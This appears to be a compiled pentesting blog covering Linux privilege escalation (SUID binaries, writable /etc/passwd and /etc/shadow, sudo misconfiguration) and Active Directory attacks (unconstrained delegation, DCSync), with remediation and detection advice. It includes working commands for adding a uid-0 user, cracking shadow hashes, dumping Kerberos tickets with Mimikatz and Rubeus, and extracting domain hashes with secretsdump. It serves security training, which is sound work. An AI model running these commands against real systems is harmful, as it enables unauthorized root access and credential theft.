    The setuid/setgid (SUID/SGID) bits allows the binary to run with the privileges of the user/group owner instead of those of the user executing it. They can be spotted with the s or S permission in the file user or group owner permissions (i.e. —s–s—). When the file permissions features an uppercase S instead of a lowercase one, it means the corresponding user or group owner doesn’t have execution rights.

    Vulnerable programs with these permissions are often targeted by attacker to obtain the user (for setuid) or group (for setgid) privileges. There are many techniques that attackers can use to hijack these binaries and obtain the associated rights.

    Identification

    SUID

    1. To hunt for all SUID binaries on the system

    • find / -type f -perm -4000 2>/dev/null
    • find / -type f -perm -u=s 2>/dev/null

    SGID

    1. You can also search for specific user SUID

    • find / -type f -perm -4000 -user root -ls 2>/dev/null
    • find / -type f -perm -u=s -user root -ls 2>/dev/null

    Extra

    1. You can search for both at the same time

    • find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
    • find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null

    LinPEAS

    1. Using LinPEAS.sh we can enumerate SUID and SGID

    • Transfer the script into the target machine
    • Run it: ./LinPEAS.sh

    Exploitation

    1. Once you identify the list of SUID/SGID, you need to start searching for vulnerabilities related to the program. In order to start, you need to find the program information such a version number.

    In this case, I will inspect exim4, program, so I start by looking at the version, first I take a look at the installed programs

    • dpkg -l | grep -i exim

    Note, this time it only shows like dependencies, we can also search for the program dependencies

    • ldd /usr/sbin/exim4

    2. Doing some research online, I found the command to print the exact version

    • exim4 –version

    3. Knowing the version we can search on different sources for vulnerabilities & exploits

    • Google
    • Exploit DB
    • IBM Xforce
    • Github
    • Rapid7
    • CXSecurity
    • Vulnerability Lab
    • 0day
    • SecurityFocus
    • Packet Storm Security
    • Google Hacking Database
    • CVE Details
    • SecurityFocus

    4. Searching in CVE Details for (exim 4.48) I found an interesting CVE, we need to investigate about it, and try to find an exploit.

    4. We can search for this CVE in different sources like exploit DB or google as PoC, I found some exploits in Exploit-DB using searchsploit

    4. Looking for this CVE in ExploitDB I found (https://www.exploit-db.com/exploits/39535)

    5. I run it in the server, and since, this is running SUID, it executes and runs as root

    Recommendations

    Review and Minimize SUID/SGID Executables:

    • Identify and review all files with SUID/SGID permissions.
    • Evaluate the necessity of these permissions for each file. Remove SUID/SGID where unnecessary.

    Use Least Privilege Principle:

    • Only grant SUID/SGID permissions where absolutely needed.
    • Assign permissions narrowly to limit potential exploitation.

    Regularly Update and Patch:

    • Keep software and systems up to date to patch known vulnerabilities associated with SUID/SGID binaries.

    Utilize Seccomp and AppArmor/SELinux:

    • Implement these security frameworks to confine processes, limiting the potential damage if SUID/SGID binaries are compromised.

    Monitor and Audit:

    • Implement logging and auditing to monitor the usage and behavior of SUID/SGID binaries for suspicious activities.

    [Privilege Escalation] Weak File Permissions – Writable /etc/passwd

    The /etc/passwd file is a crucial system file in Unix-based operating systems like Linux. It contains essential information about user accounts on the system. Each line in the file represents a single user account and is structured with several fields separated by colons.

    Here’s an example entry:

    • john:x:1001:1001:John Doe:/home/john:/bin/bash

    Let’s break down the fields:

    • Username (john): This is the username associated with the account.
    • Password Placeholder (x): Historically, the password was stored in this field, represented by an ‘x,’ but modern systems store the password in a separate file (like /etc/shadow) for security reasons.
    • User ID (UID) (1001): This is a unique numerical ID assigned to the user. It helps the system identify users by number rather than by name.
    • Group ID (GID) (1001): This is the primary group ID associated with the user. Every user belongs to at least one group.
    • User Information (John Doe): This field typically contains additional information about the user, like their full name.
    • Home Directory (/home/john): This is the absolute path to the user’s home directory, where they land upon logging in.
    • Login Shell (/bin/bash): This specifies the user’s default shell, the program that allows them to interact with the system.

    Exploiting weak permissions in the /etc/passwd file could allow unauthorized users to access or modify it. For instance, if the permissions are set too loosely (allowing write access to non-privileged users), attackers might tamper with this file to create new user accounts, change passwords, or modify existing account information. This can lead to unauthorized access, privilege escalation

    The default permissions should be, read & write for the owner (root), read permissions for root group members and other users

    Identification

    1. Check manually the /etc/passwd permissions

    • ls -l /etc/passwd

    In this case the WRITE permissions have been granted to other users. Since we can write this file we could do:

    • Change an existing user password
    • Add a new user
    • Modify user information

    2. Using LinPEAS.sh you can also find clues about this misconfiguration being present. (https://github.com/carlospolop/PEASS-ng/tree/master)

    • ./LinPEAS.sh

    Exploitation: Change users’ password

    1. Having the ability to modify the /etc/passwd file, we can create a password hash, and, replace an user’s password field with the new hash (between the first and second colon (:) of the root user’s row (replacing the “x”). I will replace root user password field

    • openssl passwd newpassword

    2. Modify the /etc/passwd, the root user line

    Before

    • cat /etc/passwd | grep root

    After

    • cat /etc/passwd | grep root

    3. Try to log in as root, or change user using su, enter the new password

    • su root
      • Password: newpasswd
    • ssh root@<IP>

    Exploitation: Adding a new user

    1. Having the ability to modify the /etc/passwd file, we can create a new user, copying root user’s row and append it to the bottom of the file, changing the first instance of the word “root” to “newroot” and placing the generated password hash between the first and second colon (replacing the “x”).

    • openssl passwd newpassword

    2. Create a backup file of /etc/passwd

    • cp /etc/passwd passwd

    3. Create a new user, (escape any special characters if needed)

    • echo “newroot:\$1\$hDAn9mjC\$.vdrna/Mo3ZORX13yGHD.1:0:0:root:/root:/bin/bash” >> /etc/passwd

    4. Verify the line was appended successfully

    • cat /etc/passwd | grep newroot

    5. Now try to log in using this new user, or change to it using su command

    • su newroot
      • newpassword
    • ssh newroot@10.10.48.238

    Remediation

    User Permissions and Access Control:

    • Review and set proper file permissions for critical system files like /etc/passwd and /etc/shadow. Only allow root or specific privileged users to modify these files.
    • Implement the principle of least privilege. Users should only have the permissions necessary to perform their tasks.

    Backup and Recovery:

    • Regularly back up critical data and ensure a solid disaster recovery plan. This allows you to restore the system in case of a successful attack.

    Monitoring and Logging:

    • Implement robust logging and monitoring mechanisms to track system activity. Tools like intrusion detection systems (IDS) or security information and event management (SIEM) can help detect anomalies.
    • Regularly review system logs to identify unusual activity, login attempts, or modifications to critical files.

    [Privilege Escalation] Weak File Permissions – /etc/shadow

    The /etc/shadow file is a crucial component in Unix-based operating systems, such as Linux. It stores encrypted user passwords and related information, providing an additional layer of security by restricting access to sensitive authentication data.

    In this file, user passwords are not stored in plain text. Instead, they are encrypted using various hashing algorithms, with the most common being the SHA-512 (Secure Hash Algorithm) or MD5 (Message Digest Algorithm 5) encryption methods. These algorithms create a hashed version of the passwords, making it computationally challenging to reverse the process and obtain the original password.

    Common hash types in /etc/shadow:

    • MD5: Typically begins with $1$
    • SHA-256: Often starts with $5$
    • SHA-512: Generally starts with $6$

    However, despite the encryption, the /etc/shadow file is a prime target for attackers. If unauthorized individuals gain access to this file, they might use various methods (like brute-force attacks or exploiting vulnerabilities) to crack the hashed passwords, gaining entry to user accounts.

    This is how /etc/shadow permissions show look like, only root user can modify it, and other users that belong to the shadow group can read it

    • ls -l /etc/shadow

    The /etc/shadow file in Unix-based operating systems contains sensitive information related to user accounts. Each line in the file represents a single user, and these lines consist of several fields or columns, separated by colons. Here’s a breakdown of the columns in the /etc/shadow file:

    kali:$y$j9T$7X9YlJ7c4u44URQvzTxxT0$BisyVCLhoPfP22Svis.MdkL02jMCFEJgT7yJIRCHp3G/:19426:0:99999:7:::

    • Username: This column contains the username or login name of the user.
    • Password: In modern systems, the password field typically doesn’t contain the actual password. Instead, it stores a hashed version of the password. The hashed password is not reversible, meaning it can’t be converted back to the original password. Instead, during login, the system hashes the entered password and compares it with the stored hashed value to authenticate the user.
    • Last Password Change (in Days): This field records the number of days since the password was last changed. It helps in password expiration policies or identifying when the password was last updated.
    • Minimum Password Age: This column signifies the minimum number of days a user must wait before changing their password. It’s a part of password policy management.
    • Maximum Password Age: This column indicates the maximum number of days a user can keep a password before being required to change it. This field also contributes to password policy management.
    • Password Warning Period: This field typically provides a warning to the user that their password is about to expire within a certain number of days.
    • Password Inactivity Period: If a password remains unused for a specified period, it may be disabled or locked. This field defines the period of inactivity before such action is taken
    • Account Expiration Date: This column specifies the date when the account will expire or be disabled. After this date, the user may not be able to log in without administrative intervention.
    • Reserved: This field is often reserved for future use or system-specific settings.

    Identification

    1. The easiest way is to run “ls” command

    • ls -l /etc/shadow
    • id

    In this particular case, we notice out user is not part of the shadow group, but we noticed the /etc/shadow file has READ,WRITE permissions for other users, this means we have permissions to modify this file.

    2. Using LinPEAS.sh you can also find clues about this vulnerability being present. (https://github.com/carlospolop/PEASS-ng/tree/master)

    • ./LinPEAS.sh

    Exploiting /etc/shadow READ permission

    1. Having the ability to read /etc/shadow, we can copy the contents of it, and then, crack the hashes using john

    • cat /etc/shadow

    2. Copy the contents of it into your own machine, or use any type of file transfer method you prefer, I’ll create a file named shadow

    • vi shadow

    3. Now, use john against this file to try to crack the passwords, you can also specify the type of hash using –format=<hash type> argument

    • john –wordlist=/usr/share/wordlists/rockyou.txt shadow
    • john –wordlist=/usr/share/wordlists/rockyou.txt shadow –format=sha512crypt

    4. We got the password (password321) of user (user)

    5. We can also take just one line for one single user, and, crack it, in case the whole file doesn’t provide enough passwords

    • john –wordlist=/usr/share/wordlists/rockyou.txt shadow

    6. Also, we can retrieve previous cracked passwords by using –show parameter, having the root password we can log in as this user

    • john –show shadow

    Exploiting /etc/shadow WRITE permission

    1. Having the ability to modify the /etc/shadow file, we can generate our own password hash and replace the password field of an existing user, we can modify the root user password, use any accepted hashing algorithm

    • mkpasswd -m sha-512 newpassword

    2. Create a backup of the /etc/shadow file

    • cp /etc/shadow shadow.bak
    • ls

    3. Copy the output hash, and, replace the root hash with our new hash

    Before

    After

    4. Now we can log in as root

    • ssh root@10.10.150.52

    Extra

    1. You can also use sed command to create a whole new line, to copy & paste

    • sed ‘s/^root:[^:]*:/root:<hash>:/g’ /etc/shadow | grep <user>
    • sed ‘s/^root:[^:]*:/root:$6$kIW2RPXnEttDUn1y$7VCgKvZGaJhS06zJZfWbcGbybqDaynTQMnpZjFjrFcLy9KJ\/97pxQXM5ASSssIUV\/Vydx8QSWJkUPH0tvqoVH\/:/g’ /etc/shadow | grep root

    Recommendations

    To secure the /etc/shadow file and the passwords within:

    • Restrict File Access: Limit access to this file to only privileged users. Regular users should not have permission to view or modify it.
    • Use Strong Passwords: Encourage users to create strong, complex passwords that are less susceptible to brute-force attacks.
    • Encryption Algorithm: Consider using more secure encryption algorithms (such as SHA-512 over MD5) for password hashing.
    • Monitor File Changes: Implement monitoring tools that can alert administrators about any changes made to the /etc/shadow file.
    • Access Controls and Logging: Set up access controls and robust logging mechanisms to track and monitor any access or modifications to the file.

    [Privilege Escalation] SUDO rights to all the commands on the host

    A misconfiguration in /etc/sudoers allows members of group sudo to execute any command

    Identification

    1. Running the following command give us a hint

    • sudo -l

    2. In the /etc/sudoers, the configuration should show like this

    • cat /etc/sudoers

    3. We can also make sure our user is part of this group

    • id

    Exploitation

    1. Knowing the sudoers file allows all members of sudo group to execute any command with privilege rights, and making sure our user is part of this group, we can go ahead, and run for example bash as root

    • sudo bash

    Note: If (NOPASSWD) is specified within the configuration, then no need to use the user’s password.

    Remedy

    Configure properly permissions to users that require, apply least privilege principles to each user that requires higher privileges.

    [Active Directory] Unconstrained delegation

    Unconstrained delegation is a security feature or misconfiguration in Microsoft Active Directory (AD) that can be exploited by attackers to gain unauthorized access to resources within a network.

    Occurs when a computer, such as a File Server, has the “Trust this computer for delegation to any service” option enabled, and a Domain Administrator logs into the File Server. This enables us to grab a copy of the Domain Administrator’s TGT, which can be used to authenticate anywhere in the Domain.

    Anytime, a user login onto the Computer, a copy of the TGT of that user is going to be sent inside the TGS provided by the DC and saved in memory in LSASS. So, if you have Administrator privileges on the machine, you will be able to dump the tickets and impersonate the users on any machine.

    Attackers can then advance their attacks against unconstrained delegation using PowerShell and Mimikatz commands. They can

    • Dump and reuse credentials out of LSASS.
    • Export all private certificates.
    • Escalate privileges to have debug rights on the remote computer.

    So if a domain admin login inside a Computer with “Unconstrained Delegation” feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).

    What is Active Directory Delegation?

    Delegation is an Active Directory feature for when a user or computer account needs to impersonate another account. For example, when a user calls a web application hosted on the web server, the application can impersonate the user credentials to access resources hosted on a different server, such as a database server. Any domain computers with unconstrained delegation enabled can impersonate user credentials to any service in the domain.

    Type of Kerberos Delegation:

    • Unconstrained delegation
    • Constrained delegation
    • RBCD (Resource-Based Constrained Delegation)

    A user Y requests a TGS for a service

    The KDC checks to see if the TRUSTED_FOR_DELEGATION flag is enabled on user X and whether it belongs to the Protected Users group or has the NOT_DELEGATION flag.

    In case you only have TRUSTED_FOR_DELEGATION, the KDC will include a TGT for user Y within the TGS for service X.

    Finally, service X will receive the TGS and obtain the TGT from user Y.

    Requirements

    • Elevated privileges on the host that is configured for Unconstrained Delegation.
    • Kerberos Authentication: The target environment should use Kerberos authentication.
    • Account has the TRUSTED_FOR_DELEGATION flag in the User Account Control (UAC) flags.
    • User account has not the NOT_DELEGATED flag set which by default non domain accounts have this flag.

    Escalation_Vectors

    • Vertically, escalate privileges to a higher privileged user like Domain Admin.
    • Horizontally, obtain privileges to another user who has access to different resources within the network not accessible to the original compromised account.

    Used Tools

    • Invoke-Mimikatz
    • PowerView
    • Active Directory Module

    Identification

    ADSearch

    1. You can find Computer objects with this attribute checking if the userAccountControl attribute contains ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:

    • ADSearch.exe –search “(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))” –attributes samaccountname,dnshostname,operatingsystem

    PowerView

    1. DCs always appear but aren’t useful for privesc

    • Get-NetComputer -Unconstrained
    • Get-NetComputer -Unconstrained | Select samaccountname

    Get-ADComputer (AD Module)

    1. Active directory module can also be used to enumerate delegations

    • Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description
    • Get-ADComputer “LAB-CLIENT-WIN1” -Properties TrustedForDelegation, TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccount
    • Get-ADComputer -Filter {TrustedForDelegation -eq $True}

    Note:

    • Unconstrained Delegation: TrustedForDelegation = True
    • Constrained Delegation: TrustedToAuthForDelegation = True

    2. Using the same module querying the “userAccountControl” attribute can provide the same results.

    • Get-ADComputer -LDAPFilter “(userAccountControl:1.2.840.113556.1.4.803:=524288)”

    Get-ADComputer (AD Module)

    1. Enumerate users that possess the TrustedForDelegation flag

    • Get-ADUser -Filter {TrustedForDelegation -eq $True}

    Exploitation (Mimikatz)

    1. Having access to a server with TRUSTED_FOR_DELEGATION flag, when a user requests access to a service, it could be a SMB service, or a website that needs access to a database, we can search for TGT tickets in memory, or we can capture the TGT ticket using Rubeus.exe. First, let’s try to search for tickets using mimikatz

    • Mimikatz.exe
    • privilege::debug
    • sekurlsa::tickets /export
      • mimikatz.exe “token::elevate” “sekurlsa::tickets /export”
    • kerberos::list /export
      • mimikatz.exe “token::elevate” “kerberos::list /export”

    2. We found tickets, and, exported them.

    • dir

    Extra (Invoke-Mimikatz)

    # Export tickets (Preferred Method (More Accurate))

    • Invoke-Mimikatz -Command ‘”token::elevate “sekurlsa::tickets /export”‘

    # Alternative Method

    • Invoke-Mimikatz -Command ‘””token::elevate” “kerberos::list /export”‘

    Mimikatz (Pass the ticket: PTT)

    1. Having the ticket exported, proceed to load it

    • kerberos::ptt [0;3f2148]-2-0-60a10000-Administrator@krbtgt-VK9-SEC.COM.kirbi

    2. List the tickets loaded

    • kerberos::list /export

    3. Run a new CMD

    • misc::cmd
    • klist

    Exploitation (Rubeus)

    1. Look for any existing interesting ticket

    • .\Rubeus.exe triage

    2. Monitor to see if there are any in coming tickets, from requests from any other service

    • .\Rubeus.exe monitor /interval:1
    • Rubeus.exe monitor /interval:15 /nowrap
    • Rubeus.exe monitor /interval:15 /nowrap /targetuser:administrator

    Note: Grab the base64 ticket

    (Alternative) 3. You can dump tickets for selected user,service or LUID

    • Rubeus.exe dump /nowrap /user:administrator
    • Rubeus.exe dump /nowrap /service:krbtgt
    • Rubeus.exe dump /nowrap /luid:0x6ee60

    Extra (Invoke-Rubeus)

    # Triage for existing tickets

    • Invoke-Rubeus -Command “triage”

    # Dump tickets for selected user,service or LUID

    • Invoke-Rubeus -Command “dump /nowrap /user:administrator”
    • Invoke-Rubeus -Command “dump /nowrap /service:krbtgt”
    • Invoke-Rubeus -Command “dump /nowrap /luid:0x6ee60”

    # Monitor for and dump new tickets

    • Invoke-Rubeus -Command “monitor interval:15 /nowrap”
    • Invoke-Rubeus -Command “monitor interval:15 /nowrap /targetuser:administrator”

    Rubeus (Pass the ticket: PTT)

    1. Having the ticket we can proceed to use pass the ticket technique

    • .\Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show
    • .\Rubeus.exe ptt /ticket:[Base64 ticket]
    • .\Rubeus.exe ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]

    2. You can list the PC cached tickets

    • klist

    3. Once the ticket has been imported, you can start a remote session to the server

    • Enter-PSSession -ComputerName lab-win2019
    • hostname; whoami

    Note:

    For this demo I used this tool to simulate a service on the remote machine (https://github.com/leechristensen/SpoolSample)

    Here we have the compiled version

    https://github.com/jtmpu/PrecompiledBinaries

    Mitigation

    • Identify all the servers that have delegation configured. Disable unconstrained Kerberos delegation and configure constrained delegation for servers that require it.
    • Enable the “Account is sensitive and cannot be delegated” setting for high privileged accounts.

    https://www.sentinelone.com/wp-content/uploads/2022/06/unconstrained-options.jpg

    • Security admins should be more cautious of granting privileged permissions to users who can enable unconstrained Kerberos delegation. The option “Enable computer and user accounts to be trusted for delegation” is available under Security Settings >> Local Policies >> User Rights Assignment.
    • Adding user accounts to the Protected Users Security Group, available starting with Windows Server 2012 R2, can also mitigate unconstrained delegation exposure.

    Source

    https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/unconstrained-delegation

    https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/unconstrained-delegation

    https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation

    https://www.sentinelone.com/blog/detecting-unconstrained-delegation-exposures-in-ad-environment/

    https://pentestlab.blog/2022/03/21/unconstrained-delegation/

    https://medium.com/r3d-buck3t/attacking-kerberos-unconstrained-delegation-ef77e1fb7203

    https://www.semperis.com/blog/active-directory-unconstrained-delegation-security-risks/

    https://deephacking.tech/unconstrained-delegation-kerberos/

    https://www.hackingarticles.in/domain-escalation-unconstrained-delegation/

    https://adsecurity.org/?p=1667

    https://en.hackndo.com/constrained-unconstrained-delegation/

    [Active Directory] DCSync Attack

    The DCSync attack is a technique used by malicious actors to retrieve password hashes from a target domain controller in an Active Directory (AD) environment. This attack is based on abusing the DRSUAPI protocol, which is a part of the Microsoft Windows Active Directory replication process. Below, I’ll explain how the DCSync attack works, step by step, its requirements, and how to protect against it:

    • The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
    • By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
    • If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

    https://www.sentinelone.com/wp-content/uploads/2018/07/Protecting-Against-Active-Directory-DCSync-Attacks-1-1024x536.png

    The following high-level sequence of steps explains how a DCSync attack works, enabling attackers to take complete control of an organization’s AD infrastructure.

    • Compromise a standard or non-privileged user account with “Replicate Directory Changes” permission.
    • Discover a DC in the specified domain name.
    • Request the DC to replicate sensitive information such as password hashes using the Microsoft Directory Replication Service Remote (MS-DRSR) protocol.
    • Obtain NTLM hashes of potentially useful accounts such as KRBTGT and Administrators.
    • Create a Golden Ticket and run Pass the Ticket (PTT) attacks to move laterally.

    A DCSync is not a simple copy & parse of the NTDS.dit file, it’s a DsGetNCChanges operation transported in an RPC request to the DRSUAPI (Directory Replication Service API) to replicate data (including credentials) from a domain controller.

    Elements Involved:

    • Active Directory Domain Controller (DC): The target domain controller is a Windows server responsible for managing user accounts, authentication, and authorization in the AD environment.
    • DCSync Tool: Malicious actors use tools like “Mimikatz”, “PowerShell Empire” or “Impacket” to perform DCSync attacks. These tools have built-in functionality to request password hashes from the target DC.
    • Privileged Access: To execute a DCSync attack, an attacker typically needs high-level privileges within the AD environment, such as Domain Admin or equivalent permissions.

    Requirements:

    • Privileged Access: The attacker needs to have high-level privileges in the AD environment to execute DCSync successfully.
    • The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All or Replicating Directory Changes In Filtered Set.
      • Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default.
    • Additionally, any security principal with one of the following rights delegated at the domain level can also successfully retrieve password hash data using the DCSync attack.
      • GenericAll (Full Control)
      • AllExtendedRights
    • DCSync-Capable Tool: The attacker must have access to a tool with DCSync functionality, such as Mimikatz.
    • Network Access: The attacker needs network access to the target domain controller.

    Important Notes about DCSync:

    • The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
    • By default only Domain Admins, Enterprise Admins, Administrators, Read-only Domain Controllers and Domain Controllers groups have the required privileges.
    • If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text

    Enumeration

    Enumeration (PowerView)

    1. Query for the domain info, copy it (DC=vk9-sec,DC=com)

    • Get-ForestGlobalCatalog

    2. Check who has Replicating Directory Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.

    • Get-ObjectAcl “DC=vk9-sec,DC=com” -ResolveGUIDS | ? {($_.ObjectAceType -like ‘DS-Replication*’)}
    • Get-ObjectAcl “DC=vk9-sec,DC=com” -ResolveGUIDS | ? {($_.ObjectAceType -like ‘Replicating*’)}
    • Get-ObjectAcl -DistinguishedName “dc=dollarcorp,dc=moneycorp,dc=local” -ResolveGUIDs | ?{($_.ObjectType -match ‘replication-get’) -or ($_.ActiveDirectoryRights -match ‘GenericAll’) -or ($_.ActiveDirectoryRights -match ‘WriteDacl’)}

    Note: knowing already the target user SID we can query

    • Get-ObjectAcl “DC=vk9-sec,DC=com” -ResolveGUIDS | ? {($_.ObjectAceType -like ‘DS-Replication*’) -and ($_.SecurityIdentifier -match <SID>)}

    3. Knowing there is a user with these types of permissions you can query for the SecurityIdentifier to know which user it is

    • Get-ADUser -Identity S-1-5-21-3777574546-3462295754-3391741248-4192

    Enumeration (AD module)

    1. If any user has following permission, the user can perform DCSync attack:

    • DS-Replication-Get-Changes extended right (Rights-GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
    • DS-Replication-Get-Changes-All extended right (Rights-GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
    • DS-Replication-Get-Changes-In-Filtered-Set extended right (Rights-GUID 89e95b76-444d-4c62-991a-0facbeda640c)

    2. Search for users with the permissions

    • Import-Module ActiveDirectory
    • (Get-Acl “ad:\dc=vk9-sec,dc=com”).Access | ? {($_.ObjectType -eq “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2” -or $_.ObjectType -eq “1131f6ad-9c07-11d1-f79f-00c04fc2dcd2” -or $_.ObjectType -eq “89e95b76-444d-4c62-991a-0facbeda640c” ) } | select IdentityReference

    3. Query a specific user

    • (Get-Acl “ad:\dc=vk9-sec,dc=com”).Access | ? {$_.IdentityReference -match ‘user1’ -and ($_.ObjectType -eq “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2” -or $_.ObjectType -eq “1131f6ad-9c07-11d1-f79f-00c04fc2dcd2” -or $_.ObjectType -eq “89e95b76-444d-4c62-991a-0facbeda640c” ) }

    Exploitation

    Exploitation (Impacket / Remote)

    1. Having the credentials of the user with DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set permissions we can extract the users

    • impacket-secretsdump <Domain>/<Username>:<Password>@<IP> -just-dc
    • impacket-secretsdump vk9-sec.com/user1:Admin.123@192.168.0.110 -just-dc

    2. To write the output in a file use -outputfile

    • impacket-secretsdump vk9-sec.com/user1:Admin.123@192.168.0.110 -just-dc -outputfile <filename>

    3. We can try pass the hash

    • impacket-secretsdump -outputfile ‘something’ -hashes ‘LMhash’:’NThash’ ‘DOMAIN’/’USER’@’DOMAINCONTROLLER’

    4. We can also attempt Pass-the-Ticket

    • secretsdump -k -outputfile ‘something’ ‘DOMAIN’/’USER’@’DOMAINCONTROLLER’

    5. This attack can also be operated with a relayed NTLM authentication, but only if the target domain controller is vulnerable to Zerologon since the DRSUAPI always requires signing.

    # target vulnerable to Zerologon, dump DC’s secrets only

    • ntlmrelayx.py -t dcsync://’DOMAINCONTROLLER’

    # target vulnerable to Zerologon, dump Domain’s secrets

    • ntlmrelayx.py -t dcsync://’DOMAINCONTROLLER’ -auth-smb ‘DOMAIN’/’LOW_PRIV_USER’:’PASSWO

    Errors

    1. When the credentials are wrong

    2. When the Permissions are invalid

    Exploitation (Mimikatz / Local)

    1. Once the account is delegated the ability to replicate objects, the account can run Mimikatz DCSync:

    # Extract a specific user, in this case the krbtgt

    • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
    • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:Administrator

    # Dump everything (printed in a short and readable format)

    • lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /all /csv

    Note: On Windows, mimikatz can be used lsadump::dcsync to operate a DCSync and recover the krbtgt keys for a golden ticket attack for example. For this attack to work, the following mimikatz command should run in an elevated context (i.e. through runas with plaintext password, pass-the-hash or pass-the-ticket).

    Detection

    Auditing

    One method is to monitor Windows event logs for Event ID 4662. Logs are an important part of security, but using them to monitor across the IT environment has significant challenges.

    • Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
    • Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
    • Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed

    For detect DCSync attack from Windows Security Log Event ID 4662 we need to check following parameter value:

    • SubjectUserName – “The subject fields indicate the account on the local system which requested the logon.”
    • AccessMask – will be 0x100 which means Control Access. Access allowed only after extended rights checks supported by the object are performed.
    • Properties – This has two parts of information. First part is the type of access that was used. Typically has the same value as Accesses field, for example, here is %%7688 is first part and second part is a tree of GUID values of Active Directory classes or property sets, for which operation was performed. The second part will be our concern point, where we like to check any GUID was match with DS-Replication-Get-Changes extended right / DS-Replication-Get-Changes-All extended / DS-Replication-Get-Changes-In-Filtered-Set extended right.

    Detecting DCSync usage

    While there may be event activity that could be used to identify DCSync usage, the best detection method is through network monitoring.

    1. Identify all Domain Controller IP addresses and add to “Replication Allow List”.

    • Get-ADDomainController -filter * | select IPv4Address
    • [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | select IPAddress

    2. Configure IDS to trigger if DsGetNCChange request originates an IP not on the “Replication Allow List” (list of DC IPs).

    Protection Against DCSync Attacks:

    • Implement Least Privilege: Limit the number of accounts with high-level privileges like Domain Admins to reduce the potential impact of privilege escalation.
    • Regularly Rotate Passwords: Frequently change the passwords of privileged accounts to make it more difficult for attackers to maintain access.
    • Monitor for Anomalies: Implement robust monitoring and auditing of AD events. Look for suspicious activities such as unusual replication requests or privilege escalations.
    • Restrict Network Access: Limit network access to domain controllers to only trusted systems and administrators.
    • Endpoint Security: Employ endpoint security solutions to detect and prevent credential theft and malicious activity
    • Limit Tool Availability: Restrict the availability of tools with DCSync capabilities to trusted administrators and systems.
    • Limit the number of security principals with replication rights to only those that absolutely require those rights.
    • Regularly review and audit your AD environment to identify non-default security principals with these rights and remove any unnecessary permissions.

    Sources

    https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync

    https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync

    https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync

    https://www.extrahop.com/resources/attacks/dcsync/

    https://adsecurity.org/?p=1729

    https://www.semperis.com/blog/ad-security-101-dcsync-rights/

    https://www.sentinelone.com/blog/active-directory-dcsync-attacks/

    https://pswalia2u.medium.com/active-directory-attack-paths-with-exploitation-will-be-updated-as-i-learn-more-b23b5cfdae10

    https://www.linkedin.com/pulse/dcsync-detection-exploitation-debashis-pal/

    https://pentestlab.blog/tag/dcsync/

    [How to] Evil-WinRM: A Tool for Windows Remote Management Exploitation

    WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators.

    This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.

    It is based mainly in the WinRM Ruby library which changed its way to work since its version 2.0. Now instead of using WinRM protocol, it is using PSRP (Powershell Remoting Protocol) for initializing runspace pools as well as creating and processing pipelines.

    WinRM typically uses port 5985 for HTTP and port 5986 for HTTPS communication. However, the tool allows you to specify the desired port during usage, offering flexibility based on network configurations and security considerations.

    • 5985
    • 5986

    Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it’s utilising WMI, so you can think of it as an HTTP based API for WMI.

    https://github.com/Hackplayers/evil-winrm

    Features

    • Compatible to Linux and Windows client systems
    • Load in memory Powershell scripts
    • Load in memory dll files bypassing some AVs
    • Load in memory C# (C Sharp) assemblies bypassing some AVs
